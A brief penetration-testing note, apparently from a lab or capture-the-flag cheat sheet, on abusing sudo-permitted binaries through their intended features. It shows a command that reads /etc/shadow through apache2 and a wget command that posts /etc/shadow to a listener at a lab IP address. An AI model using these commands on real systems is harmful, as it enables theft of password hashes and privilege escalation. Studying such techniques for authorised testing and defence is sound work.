# Intended Functionality

### Example

After running **sudo -l** you come across apache2, however it isn't in gtfobins.

Quick google search can lead you [here](https://juggernaut-sec.com/sudo-part-2-lpe/). 

Apache 2 has the ability to read files so you can abuse this by reading the shadow file

```
sudo apache2 -f /etc/shadow
```

Another example could be with wget and sending yourself the shadow file with POST and a nc listener

```
sudo wget --post-file=/etc/shadow 10.10.14.8:1337
```
